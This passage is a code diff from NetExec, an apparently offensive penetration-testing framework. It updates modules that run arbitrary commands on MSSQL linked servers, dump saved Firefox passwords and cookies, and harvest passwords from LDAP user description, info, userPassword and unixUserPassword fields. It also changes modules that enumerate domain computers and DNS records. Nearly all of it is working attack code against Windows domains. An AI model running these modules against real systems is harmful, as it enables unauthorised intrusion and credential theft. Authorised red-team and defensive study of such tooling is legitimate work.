+        self.context.log.debug(f"Connecting to {target}...")
+        try:
+            self.dce.connect()
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return
+        try:
+            self.dce.bind(even6.MSRPC_UUID_EVEN6)
+            self.context.log.debug("[+] Successfully bound!")
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return
+        self.context.log.debug("[+] Successfully bound!")
+
+    def query(self, path, query, limit):
+        req = even6.EvtRpcRegisterLogQuery()
+        req["Path"] = path + "\x00"
+        req["Query"] = query + "\x00"
+        req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
+
+        resp = self.dce.request(req)
+        handle = resp["Handle"]
+
+        return MSEven6Result(self, handle, limit)
+
+
+class MSEven6Result:
+    def __init__(self, conn, handle, limit=None):
+        self._conn = conn
+        self._handle = handle
+        self._hardlimit = limit
+
+    def __iter__(self):
+        self._resp = None
+        return self
+
+    def __next__(self):
+        if self._hardlimit is not None:
+            self._hardlimit -= 1
+            if self._hardlimit < 0:
+                raise StopIteration
+        if self._resp is not None and self._resp["NumActualRecords"] == 0:
+            raise StopIteration
+
+        if self._resp is None or self._index == self._resp["NumActualRecords"]:
+            req = even6.EvtRpcQueryNext()
+            req["LogQuery"] = self._handle
+            req["NumRequestedRecords"] = 100
+            req["TimeOutEnd"] = 1000
+            req["Flags"] = 0
+            self._resp = self._conn.dce.request(req)
+
+            if self._resp["NumActualRecords"] == 0:
+                return None
+            else:
+                self._index = 0
+
+        offset = self._resp["EventDataIndices"][self._index]["Data"]
+        size = self._resp["EventDataSizes"][self._index]["Data"]
+        self._index += 1
+
+        return b"".join(self._resp["ResultBuffer"][offset:offset + size])

nxc/modules/example_module.py

@@ -1,28 +1,23 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 
 class NXCModule:
     """
-    Example
+    Example:
+    -------
     Module by @yomama
     """
 
     name = "example module"
     description = "I do something"
-    supported_protocols = [] # Example: ['smb', 'mssql']
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    supported_protocols = []  # Example: ['smb', 'mssql']
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
+        self.context = None
+        self.module_options = None
 
     def options(self, context, module_options):
         """Required.
         Module options get parsed here. Additionally, put the modules usage here as well
         """
-        pass
 
     def on_login(self, context, connection):
         """Concurrent.
@@ -30,43 +25,24 @@ class NXCModule:
         """
         # Logging best practice
         # Mostly you should use these functions to display information to the user
-        context.log.display("I'm doing something")     # Use this for every normal message ([*] I'm doing something)
-        context.log.success("I'm doing something")     # Use this for when something succeeds ([+] I'm doing something)
-        context.log.fail("I'm doing something")        # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
-        context.log.highlight("I'm doing something")   # Use this for when something is important and should be highlighted, printing credentials for example
+        context.log.display("I'm doing something")  # Use this for every normal message ([*] I'm doing something)
+        context.log.success("I'm doing something")  # Use this for when something succeeds ([+] I'm doing something)
+        context.log.fail("I'm doing something")  # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
+        context.log.highlight("I'm doing something")  # Use this for when something is important and should be highlighted, printing credentials for example
 
         # These are for debugging purposes
-        context.log.info("I'm doing something")        # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
-        context.log.debug("I'm doing something")       # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
+        context.log.info("I'm doing something")  # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
+        context.log.debug("I'm doing something")  # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
 
         # These are for more critical error handling
-        context.log.error("I'm doing something")       # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
+        context.log.error("I'm doing something")  # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
         try:
-            raise Exception("Exception that might occure")
+            raise Exception("Exception that might have occurred")
         except Exception as e:
-            context.log.exception(f"Exception occured: {e}")   # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
+            context.log.exception(f"Exception occurred: {e}")  # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
 
     def on_admin_login(self, context, connection):
         """Concurrent.
         Required if on_login is not present
         This gets called on each authenticated connection with  Administrative privileges
         """
-        pass
-
-    def on_request(self, context, request):
-        """Optional.
-        If the payload needs to retrieve additional files, add this function to the module
-        """
-        pass
-
-    def on_response(self, context, response):
-        """Optional.
-        If the payload sends back its output to our server, add this function to the module to handle its output
-        """
-        pass
-
-    def on_shutdown(self, context, connection):
-        """Optional.
-        Do something on shutdown
-        """
-        pass

nxc/modules/exec_on_link.py

@@ -0,0 +1,40 @@
+class NXCModule:
+    """
+    Execute commands on linked servers
+    Module by deathflamingo
+    """
+
+    name = "exec_on_link"
+    description = "Execute commands on a SQL Server linked server"
+    supported_protocols = ["mssql"]
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+        self.linked_server = None
+        self.command = None
+
+    def options(self, context, module_options):
+        """
+        LINKED_SERVER: The name of the linked server to execute the command on.
+        COMMAND: The command to execute on the linked server.
+        """
+        if "LINKED_SERVER" in module_options:
+            self.linked_server = module_options["LINKED_SERVER"]
+        if "COMMAND" in module_options:
+            self.command = module_options["COMMAND"]
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        if not self.linked_server or not self.command:
+            self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
+            return
+
+        self.execute_on_link()
+
+    def execute_on_link(self):
+        """Executes the specified command on the linked server."""
+        query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
+        result = self.mssql_conn.sql_query(query)
+        self.context.log.display(f"Command output: {result}")

nxc/modules/find-computer.py

@@ -1,85 +1,78 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-import socket
+from nxc.logger import nxc_logger
+from impacket.ldap.ldap import LDAPSearchError
+from impacket.ldap.ldapasn1 import SearchResultEntry
 import sys
 
-class NXCModule:
-    '''
-      Module by CyberCelt: @Cyb3rC3lt
 
-      Initial module:
-        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
-    '''
-    
-    name = 'find-computer'
-    description = 'Finds computers in the domain via the provided text'
-    supported_protocols = ['ldap']
-    opsec_safe = True
-    multiple_hosts = False
+class NXCModule:
+    """
+    Module by CyberCelt: @Cyb3rC3lt
+
+    Initial module:
+      https://github.com/Cyb3rC3lt/CrackMapExec-Modules
+    """
+
+    name = "find-computer"
+    description = "Finds computers in the domain via the provided text"
+    supported_protocols = ["ldap"]
 
     def options(self, context, module_options):
-        '''
-        find-computer: Specify find-computer to call the module
-        TEXT: Specify the TEXT option to enter your text to search for
-        Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
-               nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
-        '''
+        """
+        TEXT    Search TEXT in the operating system or name of the computer.
 
-        self.TEXT = ''
+        Examples:
+        nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
+        nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
+        """
+        self.TEXT = ""
 
-        if 'TEXT' in module_options:
-            self.TEXT = module_options['TEXT']
+        if "TEXT" in module_options:
+            self.TEXT = module_options["TEXT"]
         else:
-            context.log.error('TEXT option is required!')
-            exit(1)
+            context.log.error("TEXT option is required!")
+            sys.exit(1)
 
     def on_login(self, context, connection):
-
-        # Building the search filter
-        searchFilter = "(&(objectCategory=computer)(&(|(operatingSystem=*"+self.TEXT+"*)(name=*"+self.TEXT+"*))))"
+        search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
 
         try:
-            context.log.debug('Search Filter=%s' % searchFilter)
-            resp = connection.ldapConnection.search(searchFilter=searchFilter,
-                                        attributes=['dNSHostName','operatingSystem'],
-                                        sizeLimit=0)
-        except ldap_impacket.LDAPSearchError as e:
-            if e.getErrorString().find('sizeLimitExceeded') >= 0:
-                context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
+            context.log.debug(f"Search Filter={search_filter}")
+            resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
+        except LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
                 resp = e.getAnswers()
-                pass
             else:
-                logging.debug(e)
+                nxc_logger.debug(e)
                 return False
 
         answers = []
-        context.log.debug('Total no. of records returned %d' % len(resp))
+        context.log.debug(f"Total no. of records returned: {len(resp)}")
         for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+            if isinstance(item, SearchResultEntry) is not True:
                 continue
-            dNSHostName =  ''
-            operatingSystem = ''
+            dns_host_name = ""
+            operating_system = ""
             try:
-                for attribute in item['attributes']:
-                    if str(attribute['type']) == 'dNSHostName':
-                        dNSHostName = str(attribute['vals'][0])
-                    elif str(attribute['type']) == 'operatingSystem':
-                        operatingSystem = attribute['vals'][0]
-                if dNSHostName != '' and operatingSystem != '':
-                    answers.append([dNSHostName,operatingSystem])
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == "dNSHostName":
+                        dns_host_name = str(attribute["vals"][0])
+                    elif str(attribute["type"]) == "operatingSystem":
+                        operating_system = attribute["vals"][0]
+                if dns_host_name != "" and operating_system != "":
+                    answers.append([dns_host_name, operating_system])
             except Exception as e:
                 context.log.debug("Exception:", exc_info=True)
-                context.log.debug('Skipping item, cannot process due to error %s' % str(e))
-                pass
+                context.log.debug(f"Skipping item, cannot process due to error {e}")
         if len(answers) > 0:
-            context.log.success('Found the following computers: ')
+            context.log.success("Found the following computers: ")
             for answer in answers:
-                try:
-                    IP = socket.gethostbyname(answer[0])
-                    context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
-                    context.log.debug('IP found')
-                except socket.gaierror as e:
-                    context.log.debug('Missing IP')
-                    context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
+                resolv = connection.resolver(answer[0])
+                if resolv:
+                    context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
+                    context.log.debug("IP found via DNS query")
+                else:
+                    context.log.debug(f"No DNS response for {answer[0]}")
+                    context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
         else:
-            context.log.success('Unable to find any computers with the text "' + self.TEXT + '"')
+            context.log.success(f"Unable to find any computers with the text {self.TEXT}")

nxc/modules/firefox.py

@@ -1,6 +1,5 @@
-#!/usr/bin/env python3
 from dploot.lib.target import Target
-from nxc.protocols.smb.firefox import FirefoxTriage
+from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
 
 
 class NXCModule:
@@ -11,17 +10,22 @@ class NXCModule:
     """
 
     name = "firefox"
-    description = "Dump credentials from Firefox"
+    description = "[REMOVED] Dump credentials from Firefox"
     supported_protocols = ["smb"]
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
     def options(self, context, module_options):
-        """Dump credentials from Firefox"""
-        pass
+        """
+        [REMOVED] use the --dpapi flag instead of the module firefox.
+
+        COOKIES    Get also Firefox cookies
+        """
+        self.gather_cookies = "COOKIES" in module_options
 
     def on_admin_login(self, context, connection):
-        host = connection.hostname + "." + connection.domain
+        context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
+        return
+
+        host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         domain = connection.domain
         username = connection.username
         kerberos = connection.kerberos
@@ -43,20 +47,25 @@ class NXCModule:
             use_kcache=use_kcache,
         )
 
+        def firefox_callback(secret):
+            if isinstance(secret, FirefoxData):
+                url = secret.url + " -" if secret.url != "" else "-"
+                context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
+                context.db.add_dpapi_secrets(
+                    target.address,
+                    "FIREFOX",
+                    secret.winuser,
+                    secret.username,
+                    secret.password,
+                    secret.url,
+                )
+            elif isinstance(secret, FirefoxCookie):
+                context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
+
         try:
             # Collect Firefox stored secrets
-            firefox_triage = FirefoxTriage(target=target, logger=context.log)
+            firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
             firefox_triage.upgrade_connection(connection=connection.conn)
-            firefox_credentials = firefox_triage.run()
-            for credential in firefox_credentials:
-                context.log.highlight(
-                    "[%s][FIREFOX] %s %s:%s"
-                    % (
-                        credential.winuser,
-                        credential.url + " -" if credential.url != "" else "-",
-                        credential.username,
-                        credential.password,
-                    )
-                )
+            firefox_triage.run(gather_cookies=self.gather_cookies)
         except Exception as e:
-            context.log.debug("Error while looting firefox: {}".format(e))
+            context.log.debug(f"Error while looting firefox: {e}")

nxc/modules/get-desc-users.py

@@ -1,10 +1,7 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
 import re
 from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
 
 
 class NXCModule:
@@ -16,8 +13,6 @@ class NXCModule:
     name = "get-desc-users"
     description = "Get description of the users. May contained password"
     supported_protocols = ["ldap"]
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
     def options(self, context, module_options):
         """
@@ -34,7 +29,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -42,8 +37,8 @@ class NXCModule:
         searchFilter = "(objectclass=user)"
 
         try:
-            context.log.debug("Search Filter=%s" % searchFilter)
-            resp = connection.ldapConnection.search(
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
                 searchFilter=searchFilter,
                 attributes=["sAMAccountName", "description"],
                 sizeLimit=0,
@@ -54,35 +49,19 @@ class NXCModule:
                 # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                 # paged queries
                 resp = e.getAnswers()
-                pass
             else:
                 nxc_logger.debug(e)
                 return False
 
-        answers = []
-        context.log.debug("Total of records returned %d" % len(resp))
-        for item in resp:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            sAMAccountName = ""
-            description = ""
-            try:
-                for attribute in item["attributes"]:
-                    if str(attribute["type"]) == "sAMAccountName":
-                        sAMAccountName = str(attribute["vals"][0])
-                    elif str(attribute["type"]) == "description":
-                        description = attribute["vals"][0]
-                if sAMAccountName != "" and description != "":
-                    answers.append([sAMAccountName, description])
-            except Exception as e:
-                context.log.debug("Exception:", exc_info=True)
-                context.log.debug("Skipping item, cannot process due to error %s" % str(e))
-                pass
+        context.log.debug(f"Total of records returned {len(resp)}")
+        resp_parsed = parse_result_attributes(resp)
+        answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
+
         answers = self.filter_answer(context, answers)
         if len(answers) > 0:
             context.log.success("Found following users: ")
             for answer in answers:
-                context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
+                context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
 
     def filter_answer(self, context, answers):
         # No option to filter
@@ -107,10 +86,11 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
-                    answersFiltered.append([answer[0], description])
-                elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
-                    answersFiltered.append([answer[0], description])
-                elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
+                if conditionFilter and not self.PASSWORDPOLICY:
+                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
+                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
                     answersFiltered.append([answer[0], description])
+                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
+
         return answersFiltered

nxc/modules/get-info-users.py

@@ -0,0 +1,44 @@
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get the info field of users
+    Module by @sepauli
+    """
+    name = "get-info-users"
+    description = "Get the info field of all users. May contain password"
+    supported_protocols = ["ldap"]
+
+    def options(self, context, module_options):
+        """FILTER    Apply the FILTER (grep-like) (default: '')"""
+        self.FILTER = ""
+        if "FILTER" in module_options:
+            self.FILTER = module_options["FILTER"]
+
+    def on_login(self, context, connection):
+        # Building the search filter
+        resp = connection.search(
+            searchFilter="(info=*)",
+            attributes=["sAMAccountName", "info"]
+        )
+
+        context.log.debug(f"Total of records returned {len(resp)}")
+        resp_parsed = parse_result_attributes(resp)
+        answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
+
+        answers = self.filter_answer(context, answers)
+        if answers:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
+
+    def filter_answer(self, context, answers):
+        # No option to filter
+        if not self.FILTER:
+            context.log.debug("No filter option enabled")
+            return answers
+        # Filter
+        context.log.debug(f"Filter info field with: {self.FILTER}")
+        return [answer for answer in answers if self.FILTER in answer[1]]
+

nxc/modules/get-network.py

@@ -1,18 +1,17 @@
 # Credit to https://twitter.com/snovvcrash/status/1550518555438891009
 # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
 # module by @mpgn_x64
-
-from os.path import expanduser
+import re
 import codecs
 import socket
-from builtins import str
 from datetime import datetime
 from struct import unpack
 
-import dns.name
-import dns.resolver
 from impacket.structure import Structure
 from ldap3 import LEVEL
+from os.path import expanduser
+from nxc.paths import NXC_PATH
+from nxc.parsers.ldap_results import parse_result_attributes
 
 
 def get_dns_zones(connection, root, debug=False):
@@ -25,25 +24,8 @@ def get_dns_zones(connection, root, debug=False):
     return zones
 
 
-def get_dns_resolver(server, context):
-    # Create a resolver object
-    dnsresolver = dns.resolver.Resolver()
-    # Is our host an IP? In that case make sure the server IP is used
-    # if not assume lookups are working already
-    try:
-        if server.startswith("ldap://"):
-            server = server[7:]
-        if server.startswith("ldaps://"):
-            server = server[8:]
-        socket.inet_aton(server)
-        dnsresolver.nameservers = [server]
-    except socket.error:
-        context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
-    return dnsresolver
-
-
-def ldap2domain(ldap):
-    return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
+def ldap2domain(baseDN):
+    return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
 
 
 def new_record(rtype, serial):
@@ -51,7 +33,7 @@ def new_record(rtype, serial):
     nr["Type"] = rtype
     nr["Serial"] = serial
     nr["TtlSeconds"] = 180
-    # From authoritive zone
+    # From authoritative zone
     nr["Rank"] = 240
     return nr
 
@@ -64,49 +46,42 @@ RECORD_TYPE_MAPPING = {
     5: "CNAME",
     6: "SOA",
     12: "PTR",
-    # 15: 'MX',
-    # 16: 'TXT',
+    15: "MX",
+    16: "TXT",
     28: "AAAA",
     33: "SRV",
 }
 
-
-def searchResEntry_to_dict(results):
-    data = {}
-    for attr in results["attributes"]:
-        key = str(attr["type"])
-        value = str(attr["vals"][0])
-        data[key] = value
-    return data
+ZERO = 0
+A = 1
+NS = 2
+CNAME = 5
+SOA = 6
+PTR = 12
+MX = 15
+TXT = 16
+AAAA = 28
+SRV = 33
 
 
 class NXCModule:
     name = "get-network"
-    description = ""
+    description = "Query all DNS records with the corresponding IP from the domain."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def options(self, context, module_options):
         """
-        ALL      Get DNS and IP (default: false)
+        ALL           Get DNS and IP (default: false)
         ONLY_HOSTS    Get DNS only (no ip) (default: false)
         """
-
         self.showall = False
         self.showhosts = False
-        self.showip = True
 
         if module_options and "ALL" in module_options:
             if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
                 self.showall = True
             else:
                 print("Could not parse ALL option.")
-        if module_options and "IP" in module_options:
-            if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
-                self.showip = True
-            else:
-                print("Could not parse ONLY_HOSTS option.")
         if module_options and "ONLY_HOSTS" in module_options:
             if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
                 self.showhosts = True
@@ -115,43 +90,30 @@ class NXCModule:
 
     def on_login(self, context, connection):
         zone = ldap2domain(connection.baseDN)
-        dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
-        searchtarget = "DC=%s,%s" % (zone, dnsroot)
+        dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
+        search_target = f"DC={zone},{dns_root}"
         context.log.display("Querying zone for records")
-        sfilter = "(DC=*)"
 
-        try:
-            list_sites = connection.ldapConnection.search(
-                searchBase=searchtarget,
-                searchFilter=sfilter,
-                attributes=["dnsRecord", "dNSTombstoned", "name"],
-                sizeLimit=100000,
-            )
-        except ldap.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
-                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
-                # paged queries
-                list_sites = e.getAnswers()
-                pass
-            else:
-                raise
-        targetentry = None
-        dnsresolver = get_dns_resolver(connection.host, context.log)
+        list_sites = connection.search(
+            searchFilter="(DC=*)",
+            attributes=["dnsRecord", "dNSTombstoned", "name"],
+            baseDN=search_target,
+        )
+        list_sites_parsed = parse_result_attributes(list_sites)
 
         outdata = []
-
-        for item in list_sites:
-            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                continue
-            site = searchResEntry_to_dict(item)
+        for site in list_sites_parsed:
             recordname = site["name"]
 
             if "dnsRecord" in site:
-                record = bytes(site["dnsRecord"].encode("latin1"))
-                dr = DNS_RECORD(record)
-                if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
-                    if dr["Type"] == 1:
+                if isinstance(site["dnsRecord"], list):  # noqa: SIM108
+                    records = [bytes(r) for r in site["dnsRecord"]]
+                else:
+                    records = [bytes(site["dnsRecord"])]
+
+                for record in records:
+                    dr = DNS_RECORD(record)
+                    if dr["Type"] == A:
                         address = DNS_RPC_RECORD_A(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
@@ -161,17 +123,18 @@ class NXCModule:
                                     "value": address.formatCanonical(),
                                 }
                             )
-                    if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
+                    # Skip without "ALL" and "ONLY_HOSTS" => only IPs
+                    elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
                         address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
                                 {
                                     "name": recordname,
                                     "type": RECORD_TYPE_MAPPING[dr["Type"]],
-                                    "value": address[list(address.fields)[0]].toFqdn(),
+                                    "value": address["nameNode"].toFqdn(),
                                 }
                             )
-                    elif dr["Type"] == 28:
+                    elif dr["Type"] == AAAA:
                         address = DNS_RPC_RECORD_AAAA(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
@@ -182,19 +145,24 @@ class NXCModule:
                                 }
                             )
 
-        context.log.highlight("Found %d records" % len(outdata))
-        path = expanduser("~/.nxc/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
+        # Filter duplicate IPs if "ALL"  and "ONLY_HOSTS" are not set
+        if not (self.showall or self.showhosts):
+            seen_ips = set()
+            outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
+
+        context.log.highlight(f"Found {len(outdata)} records")
+        path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
         with codecs.open(path, "w", "utf-8") as outfile:
             for row in outdata:
                 if self.showhosts:
-                    outfile.write("{}\n".format(row["name"] + "." + connection.domain))
+                    outfile.write(f"{row['name'] + '.' + connection.domain}\n")
                 elif self.showall:
-                    outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
+                    outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
                 else:
-                    outfile.write("{}\n".format(row["value"]))
-        context.log.success("Dumped {} records to {}".format(len(outdata), path))
+                    outfile.write(f"{row['value']}\n")
+        context.log.success(f"Dumped {len(outdata)} records to {path}")
         if not self.showall and not self.showhosts:
-            context.log.display("To extract CIDR from the {} ip, run  the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
+            context.log.display(f"To extract CIDR from the {len(outdata)} ip, run  the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent")
 
 
 class DNS_RECORD(Structure):
@@ -250,9 +218,9 @@ class DNS_COUNT_NAME(Structure):
     def toFqdn(self):
         ind = 0
         labels = []
-        for i in range(self["LabelCount"]):
-            nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
-            labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
+        for _i in range(self["LabelCount"]):
+            nextlen = unpack("B", self["RawName"][ind: ind + 1])[0]
+            labels.append(self["RawName"][ind + 1: ind + 1 + nextlen].decode("utf-8"))
             ind += nextlen + 1
         # For the final dot
         labels.append("")

nxc/modules/get-unixUserPassword.py

@@ -0,0 +1,44 @@
+from impacket.ldap import ldap as ldap_impacket
+from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get unixUserPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-unixUserPassword"
+    description = "Get unixUserPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(unixUserPassword=*)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "unixUserPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        if resp:
+            resp_parsed = parse_result_attributes(resp)
+            context.log.success("Found following users: ")
+            for user in resp_parsed:
+                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get-userPassword.py

@@ -0,0 +1,44 @@
+from impacket.ldap import ldap as ldap_impacket
+from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get userPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-userPassword"
+    description = "Get userPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(userPassword=*)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "userPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        if resp:
+            resp_parsed = parse_result_attributes(resp)
+            context.log.success("Found following users: ")
+            for user in resp_parsed:
+                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get_netconnections.py

